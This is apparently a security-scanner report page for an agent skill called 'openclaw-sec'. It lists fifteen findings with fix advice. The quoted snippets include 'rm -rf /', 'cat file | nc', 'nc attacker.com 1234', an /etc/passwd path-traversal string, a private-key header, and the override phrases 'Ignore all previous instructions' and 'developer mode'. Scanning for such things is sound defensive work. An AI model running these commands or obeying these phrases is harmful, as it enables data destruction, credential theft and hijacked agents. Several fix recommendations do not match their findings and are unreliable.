openclaw-sec

clawhub:openclaw-sec

View source
F
0/100

First Seen

Feb 18, 2026

Last Scanned

Feb 22, 2026

Findings

15

Score

0/100

HIGH 7
MEDIUM 4
LOW 4

Findings (15)

HIGH
Destructive actions with code execution
L99

Skill has destructive capabilities AND can execute arbitrary code. This combination enables ransomware-like attacks.

[destructive] rm -rf / + [executes_code] subprocess.run(
FIX

Isolate security-sensitive operations from untrusted data flows. Use separate execution contexts or privilege levels for operations that handle both user input and sensitive resources.

FP?

Likely FP if the toxic flow analysis connected two unrelated code paths, or if the data undergoes transformation that removes the taint (e.g., parsed as a known enum value).

HIGH
Private data read with public output
L706

Skill can read private data (credentials, SSH keys, env vars) AND write to public channels (Slack, Discord, email). This combination enables data exfiltration.

[reads_private_data] access keys + secret + [writes_public_output] hooks.slack.com/services/
FIX

Break the toxic data flow by adding validation and sanitization between the input source and the sensitive operation. Do not pass untrusted data directly to file system, network, or execution APIs.

FP?

Likely FP if the data flow involves only trusted, hardcoded values and the taint analysis over-approximated the untrusted input sources.

HIGH
Private data read with code execution
L706

Skill can read private data AND execute arbitrary code. This combination enables credential theft via dynamic code.

[reads_private_data] access keys + secret + [executes_code] subprocess.run(
FIX

Add input validation between the user-controlled data source and the security-sensitive sink (e.g., file writes, command execution). Implement allowlisting for acceptable input patterns.

FP?

Likely FP if the user input passes through explicit validation or sanitization before reaching the sensitive operation, and the taint tracker missed the sanitization step.

HIGH
Instruction override attempt
L225

Detects attempts to override or ignore previous instructions

override system instructions
FIX

Remove the injection payload from the skill definition. Text that attempts to reset agent context or override prior directives is a direct attack vector.

FP?

Likely FP if the text is in a security tutorial or research paper discussing injection techniques as examples, not in an active skill description.

HIGH
Instruction override attempt
L624

Detects attempts to override or ignore previous instructions

Ignore all previous instructions
FIX

Remove the injection payload from the skill definition. Text that attempts to reset agent context or override prior directives is a direct attack vector.

FP?

Likely FP if the text is in a security tutorial or research paper discussing injection techniques as examples, not in an active skill description.

HIGH
Jailbreak template
L625

Detects common jailbreak prompt patterns

developer mode
FIX

Remove directives that attempt to exfiltrate data through the agent's response (e.g., asking the agent to embed credentials in URLs or include secret values in output).

FP?

Likely FP if the text is a legitimate tool instruction about displaying configuration to the user (e.g., show current settings) without external transmission.

HIGH
Private key block
L722

Detects PEM-encoded private keys

-----BEGIN RSA PRIVATE KEY-----
FIX

Remove the private key block from the skill definition. Store private keys in a secrets manager or encrypted volume and reference them via environment variables.

FP?

Likely FP if the match is a documentation example showing the format of a PEM block without a real key body.

MEDIUM
Path traversal attempt
L154

Detects path traversal patterns targeting sensitive files, including URL-encoded variants

../../../etc/passwd
FIX

Pin Git dependencies to specific commit hashes instead of branch names or tags. Branches and tags are mutable and can be updated to point to malicious code.

FP?

Likely FP if the Git reference points to a tagged release of a well-known repository, though tags are technically mutable.

MEDIUM
File read piped to HTTP transmission
L648

Detects reading files piped directly to network commands

cat file | nc
FIX

Restrict file uploads to user-initiated actions with explicit confirmation. Block programmatic upload of sensitive files (keys, configs, credentials) to external services.

FP?

Likely FP if the skill is a file-sharing tool where uploading is the documented core feature and destinations are user-configured.

MEDIUM
Path traversal attempt
L691

Detects path traversal patterns targeting sensitive files, including URL-encoded variants

../../../etc/passwd
FIX

Pin Git dependencies to specific commit hashes instead of branch names or tags. Branches and tags are mutable and can be updated to point to malicious code.

FP?

Likely FP if the Git reference points to a tagged release of a well-known repository, though tags are technically mutable.

MEDIUM
Conditional CI execution
L742

Detects conditional execution based on CI environment variables combined with dangerous commands

eval(
FIX

Pin all dependencies to exact versions with integrity hashes. Use lock files (package-lock.json, poetry.lock) and enable checksum verification in your package manager.

FP?

Likely FP if the match is documentation about dependency management best practices rather than actual unpinned dependency declarations.

LOW
Shell script file execution
L583

Detects execution of shell script files via bash/sh command or direct invocation

./install-hooks.sh
FIX

Replace direct shell script execution with a language-native implementation or a sandboxed executor. If shell scripts must run, restrict them to a vetted allowlist with integrity checks.

FP?

Likely FP if the match references running a script that is part of the skill's own repository (e.g., ./setup.sh) with clear, auditable contents.

LOW
Non-standard port communication
L648

Detects outbound connections to non-standard ports

nc attacker.com 1234
FIX

Restrict network connections to standard ports (80, 443) and explicitly allowlisted service ports. Block connections to unusual ports that could indicate covert channels.

FP?

Likely FP if the non-standard port is localhost (127.0.0.1) used for local development servers (e.g., port 3000, 8080, 5432 for a local database).

LOW
Dynamic code evaluation
L742

Detects eval() or exec() used for dynamic code execution

eval(m
FIX

Replace eval()/exec() with a safer alternative such as json.loads(), ast.literal_eval(), or a purpose-built parser.

FP?

Likely FP if the matched text contains 'exec' as part of a word (e.g., 'execute', 'execution') rather than an actual eval() or exec() call.

LOW
Python subprocess execution
L845

Detects Python subprocess and os.system calls for command execution in skill descriptions

subprocess.run(
FIX

Pass arguments as an explicit list instead of a shell string. Set shell=False and validate all user-supplied values before inclusion.

FP?

Likely FP if the match is in documentation explaining Python subprocess usage or in a description mentioning it as a topic.